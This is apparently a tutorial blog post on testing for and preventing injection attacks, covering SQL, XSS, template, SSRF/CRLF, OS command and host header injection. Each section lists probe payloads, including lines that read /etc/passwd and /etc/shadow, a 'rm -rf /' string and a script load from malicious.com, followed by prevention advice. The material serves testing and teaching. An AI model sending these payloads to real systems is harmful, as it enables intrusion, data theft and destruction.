Minimum You Should Know About Injection Attacks
Injection attacks are one of the easiest and most common ways to exploit an application since the invention of forms :)
Most of the injection attacks are language or framework-specific. So, for example, a "recipe" for SQL injection for Java or Javascript application can be different. Not only that, various frameworks and services can be susceptible to specific injection attacks. That is why the injection attacks can be quite poorly controlled and hence tested.
Here I will explain the basics of how we can test different ways of injection attacks and what is needed for their prevention.
SQL injection (SQLi)
"SQL injection is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution" (Wikipedia) In layman's terms, SQL injection is actually a SQL query or addition to a SQL query that was inserted into the form field and then executed on the server.
SQL and NoSQL injection attack can be easily performed on any input form in our application. An attacker can simply try to gain access to data or temper with it.
Test
To test SQL injection, we can use tools like SQLMap or Whitewidow.
Manually, the minimum we can do is insert the following into any input field possible and
check the result.
'-'
''
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
""
"&"
"^"
"*"
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
1' ORDER BY 1--+
-1' UNION SELECT 1,2,3--+
-1 UNION SELECT 1 INTO @,@
OR 1=1
OR x=x--
HAVING 1=1
WHERE 1=1 AND 1=1
ORDER BY 1--
and (select substring(@@version,1,1))='X'
1 or sleep(5)#
;waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
or SLEEP(5)
ORDER BY SLEEP(5)
UNION ALL SELECT 1
UNION ALL SELECT 1#
UNION ALL SELECT 1--
UNION SELECT @@VERSION,SLEEP(5),3
UNION SELECT @@VERSION,SLEEP(5),"'3
UNION ALL SELECT USER()--
UNION ALL SELECT NULL--
UNION ALL SELECT 'INJ'||'ECT'||'XXX'
The attack is considered successful if you can see in database logs SQL injection being executed or if any outcome of these fields/forms differentiates from the expected result. In that case, the application is vulnerable to attacks.
This roughly gives you an idea. You get further information about the attack here: https://www.owasp.org/index.php/SQL_Injection
Prevention
To prevent this kind of injection, we should always use parameterized queries or prepared statements and NOT concatenated SQL strings like for example "`SQL 'SELECT * FROM users WHERE name = ' + name; -- WRONG 'SELECT * FROM users WHERE name = $1' --RIGHT and pass in the list of parameters;
---
## Javascript Injection (XSS)
Similar to SQL injection, we could also inject
code into the application to obtain the user information ...
A cross-site scripting attack occurs when the attacker tricks a web application to accept
an inserted code.
We could use tools like Zed Attack Proxy or Grabber.
Or manually insert the following into any, or better, all input fields (including URL).
### Test
```html
<script\x20type="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<script\x20type="text/javascript">javascript:alert(1);</script>
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
"`'><script>\x3Bjavascript:alert(1)</script>
"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<img src=x onerror=\x10"javascript:alert(1)">
<IMG SRC="jav	ascript:alert('XSS');">
<svg><script>//
confirm(1);</script </svg>
In our case, the alert box will pop up if the application is compromised.
Additional information on XSS injection attacks: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
Prevention
Most modern libraries and frameworks will already provide a level of protection. We still need to be aware of some gotchas like for example:
- Angular (2+) has bypassSecurityTrust which allows XSS if not implemented correctly
- React has dangerouslySetInnerHTML
- Svelte has {@html ...}
- Vue (2+) has v-html
- ...
It is still recommended to sanitize input data send to the server and ensure all data is also validated on the server. We can achieve that with libraries like: OWASP Java HTML Sanitizer or Dompurify for Javascript ...
We should convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents. In HTML, you should convert non-whitelisted values into HTML entities:
< converts to: <
> converts to: >
In JavaScript, non-alphanumeric values should be Unicode-escaped
< converts to: \u003c
> converts to: \u003e
Template/Code injection
Template injection can occur when an attacker takes advantage of language/framework syntax to execute commands on the server-side.
Some common frameworks are:
- PHP: Smarty, Twigs...
- JAVA: Velocity, Thymeleaf ...
- Python: Jinja, Mako, chameleon
- ...
Each of these frameworks has its own special syntax, and if an attacker manages to figure it out he could execute a myriad of different injections against it.
Test
To test it is good we first know which template/framework is being used on the server, since the attack is template specific. We can use tools like Tplmap or Burp Suite or manually check against some common payloads as seen bellow:
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{'a'.toUpperCase()}}
<%= File.open('/etc/passwd').read %>
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{php}echo `id`;{/php}
${T(java.lang.System).getenv()}
Prevention
Sanitize the input/output data and/or whitelist/blacklist input data which can be passed to the server.
To read more about it: https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection.html
SSRF and CRLF injection/Request Smuggling
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him to any other 'protected' domain. CLRF (%0a%0d) are special characters that can cause an application vulnerability due to direct parsing of header fields. CRLF injection is used to split an HTTP response header which can cause unexpected application behaviour.
Test
For example, we could insert into a form field or URL below injections. If that came to the server logs, it would be enough to give some information to the attacker on how to proceed with any other injection attack.
Critical Error: <CR><LF>MYSQL: TABLE CORRUPTION
fname<CR><LF>/bin/rm -rf /
/index.php?page=home&%0d%0a127.0.0.1
SSRF attack is made on the URL. Here, for example, we could gain access to the different application or resource with simple redirection.
https://target.com/page?url=http://127.0.0.1/admin // SSRF
https://target.com/page?url=file://etc/passwd //SSRF
Prevention
Like with previous injection attacks, sanitization and validation are the general rules across all injection attacks. For CRLF, we should use up to date software which will most likely automatically prevent this attack. And if possible, do not use users input directly inside response headers.
For SSRF, we can whitelist/blacklist domains, not send raw responses and enable authentication on all running services (like, for example, Redis, MySql ...)
OS command injection
Command injection is made possible by a flaw in the application code which makes execution of arbitrary commands on the host possible.
The most common scenarios would be in PHP and Javascript, where code can be executed through eval()
function.
As per https://developer.mozilla.org/ :
"Warning: Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use eval(). See Never use eval()!, below."
Test
We can use tools like Commix or Burp Suite or manually insert into any input field (including url) to check against some common payloads as seen bellow:
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id
;netstat -a;
;system('cat%20/etc/passwd')
`/usr/bin/id`
|/bin/ls -al
%0a id %0a
$;/usr/bin/id
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
cat /etc/hosts
$(`cat /etc/passwd`)
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
&
&&
%0a
%0a%0d
%0Aid
%0a id %0a
%0Aid%0A
eval('ls')
exec('ls')
{{ get_user_file("/etc/hosts") }}
{{4+4}}
which curl
Prevention
In addition to general input sanitization and validation,
avoid dangerous function like in case of Javascript:
eval()
, setTimeout()
, setInterval()
and new Function()
Host Header Injection
Many web application rely on the HTTP host header to understand "where they are". Common HTTP Header would look like something like this:
GET / HTTP/1.1
Host: www.mydomain.com
[...]
The headers are actually controlled on the client-side.
That means an attacker could modify or add the additional header like, for example, X-Forwarded-Host: evil.com
.
Test
Host header injection is a more manual attack that can be easily done with a bit of code
or Burp Suite.
There are some perquisites like domain and test a simple script which we could inject into the application.
For example, if an application would rely on the host header
to obtain a script like this:
<script src="http://<_SERVER['HOST']>/script.js">
we could then change the host header to malicious.com
, and that would result in an injected script like this:
<script src="http://malicious.com/script.js">
Prevention
Whitelist acceptable URLs and don't allow "catch-all" configurations
To read more about it: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
There are other (case-specific and less common) injection attacks that I did not cover here like:
- Email header injection
- LDAP Injection
- XML External Entity (XXE) Injection Payload List
- Formula Injection or CSV injection
- XPath injection
The basis of most common attacks against the application is pretty much covered here. Of course, this is just the tip of the iceberg, but it is worthy to be aware of these attacks
References:
https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
https://owasp.org/www-project-cheat-sheets/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf
https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html
https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.md
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
https://www.imperva.com/learn/application-security/command-injection/